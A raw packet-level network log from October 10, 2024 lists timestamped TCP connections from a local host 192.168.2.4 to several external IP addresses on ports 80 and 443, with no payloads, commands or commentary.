Oct 10, 2024 10:13:55.146186113 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.146390915 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.146469116 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.164179087 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.164223909 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.164237022 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.164243937 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.179169893 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.179169893 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.179244041 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.179277897 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.213391066 CEST	64724	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.213453054 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.213526011 CEST	64724	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.214657068 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.214760065 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.214827061 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.216054916 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.216100931 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.216164112 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.220293999 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.220397949 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.220468044 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.221380949 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.221440077 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.221568108 CEST	64724	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.221599102 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.222717047 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.222804070 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.222877026 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.223033905 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.223057985 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.223277092 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.223287106 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.223654032 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.223690033 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.287713051 CEST	64729	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:55.294202089 CEST	80	64729	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:55.294275045 CEST	64729	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:55.295622110 CEST	64729	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:55.301613092 CEST	80	64729	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:55.886729956 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.888652086 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.888715029 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.888923883 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.889394999 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.889410019 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.889792919 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.889800072 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.889885902 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.890203953 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.890219927 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.890297890 CEST	64724	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.890314102 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.890717983 CEST	64724	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.890727997 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.910022020 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.910501003 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.910562992 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.910902023 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.910916090 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.926407099 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.927890062 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.927928925 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.928394079 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.928405046 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.001199961 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.001344919 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.001492977 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.001569033 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.001590014 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.001597881 CEST	64727	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.001604080 CEST	443	64727	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.002710104 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.002922058 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.002980947 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.003015041 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.003058910 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.003216028 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.003216028 CEST	64726	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.003257036 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.003283024 CEST	443	64726	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.004729986 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.004775047 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.004838943 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.004991055 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.005006075 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.005662918 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.005764008 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.005851030 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.006032944 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.006063938 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.008594990 CEST	80	64729	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:56.008642912 CEST	80	64729	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:56.008703947 CEST	64729	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:56.008764029 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.008991003 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.009058952 CEST	64724	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.009100914 CEST	64729	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:56.009125948 CEST	64729	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:56.009207010 CEST	64724	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.009212017 CEST	443	64724	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.014317989 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.014350891 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.014480114 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.014565945 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.014571905 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.035331964 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.035428047 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.035851002 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.041388035 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.041416883 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.041444063 CEST	64728	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.041457891 CEST	443	64728	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.055839062 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.055912971 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.056329966 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.056791067 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.056807995 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.066119909 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.066276073 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.066389084 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.066431999 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.066468000 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.066544056 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.066544056 CEST	64725	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.066569090 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.066591024 CEST	443	64725	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.068622112 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.068631887 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.068845034 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.068845034 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.068867922 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.364245892 CEST	64735	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:56.369218111 CEST	80	64735	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:56.369307041 CEST	64735	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:56.369529009 CEST	64735	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:56.374315977 CEST	80	64735	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:56.666975021 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.667555094 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.667624950 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.668082952 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.668100119 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.668751955 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.669090033 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.669117928 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.669404984 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.669409037 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.679680109 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.679999113 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.680018902 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.680315971 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.680321932 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.721596003 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.722300053 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.722351074 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.722903967 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.722913027 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.744554996 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.745098114 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.745126009 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.745556116 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.745560884 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.776892900 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.777574062 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.777686119 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.777807951 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.777872086 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.777915001 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.777966976 CEST	64731	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.777982950 CEST	443	64731	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.780704975 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.780742884 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.780877113 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.781008959 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.781018972 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.781264067 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.781398058 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.781569958 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.781614065 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.781614065 CEST	64730	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.781636953 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.781650066 CEST	443	64730	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.783461094 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.783504963 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.783597946 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.783772945 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.783790112 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.790739059 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.793312073 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.793370962 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.793409109 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.793425083 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.793436050 CEST	64732	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.793442011 CEST	443	64732	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.795265913 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.795308113 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.795476913 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.795597076 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.795612097 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.829540968 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.829762936 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.829843044 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.829925060 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.829941034 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.829974890 CEST	64734	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.829981089 CEST	443	64734	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.832453012 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.832479000 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.832751036 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.832890034 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.832902908 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.856687069 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.856859922 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.856904984 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.856976032 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.857070923 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.857084036 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.857100964 CEST	64733	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.857105017 CEST	443	64733	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.859612942 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.859669924 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:56.859812021 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.859949112 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:56.859980106 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.076566935 CEST	80	64735	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:57.076596975 CEST	80	64735	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:57.076654911 CEST	64735	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:57.076654911 CEST	64735	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:57.083556890 CEST	64735	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:57.083734035 CEST	64735	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:57.438276052 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.440376997 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.445378065 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.450324059 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.450397968 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.450896978 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.450911045 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.451240063 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.451261997 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.451915026 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.451929092 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.452233076 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.452239990 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.452671051 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.452675104 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.499181032 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.516835928 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.554719925 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.554800987 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.554847956 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.554941893 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.554944038 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.555639982 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.555696964 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.555859089 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.556041956 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.556093931 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.557503939 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.573167086 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.703455925 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.703475952 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.703896999 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.703902960 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.708270073 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.708270073 CEST	64737	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.708333969 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.708333969 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.708353996 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.708373070 CEST	64736	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.708376884 CEST	443	64737	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.708390951 CEST	443	64736	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.715264082 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.715302944 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.715687990 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.715703964 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.723359108 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.723360062 CEST	64738	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.723381042 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.723403931 CEST	443	64738	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.730334044 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.730389118 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.730550051 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.734808922 CEST	64741	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.734833956 CEST	443	64741	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.765285969 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.765350103 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.766330957 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.766360998 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.766402960 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.766623974 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.790019035 CEST	64742	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.790055990 CEST	443	64742	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.790127993 CEST	64743	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.790162086 CEST	443	64743	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.806776047 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.806952953 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.807025909 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.818135023 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.818219900 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.818298101 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.818350077 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.818392992 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.818463087 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.868804932 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.868839979 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.868855953 CEST	64739	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.868864059 CEST	443	64739	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.878755093 CEST	64740	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.878819942 CEST	443	64740	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.883585930 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.883701086 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.883780003 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.884680033 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.884776115 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.884848118 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.885020018 CEST	64744	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.885061979 CEST	443	64744	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:57.885535955 CEST	64745	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:57.885570049 CEST	443	64745	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:58.387377024 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:58.604451895 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:58.916961908 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.062350988 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:59.062366962 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:59.062375069 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:59.234674931 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:59.238657951 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.246669054 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.246772051 CEST	443	64746	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:59.246879101 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.247272968 CEST	64746	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:59.247303963 CEST	443	64746	51.81.194.202	192.168.2.4
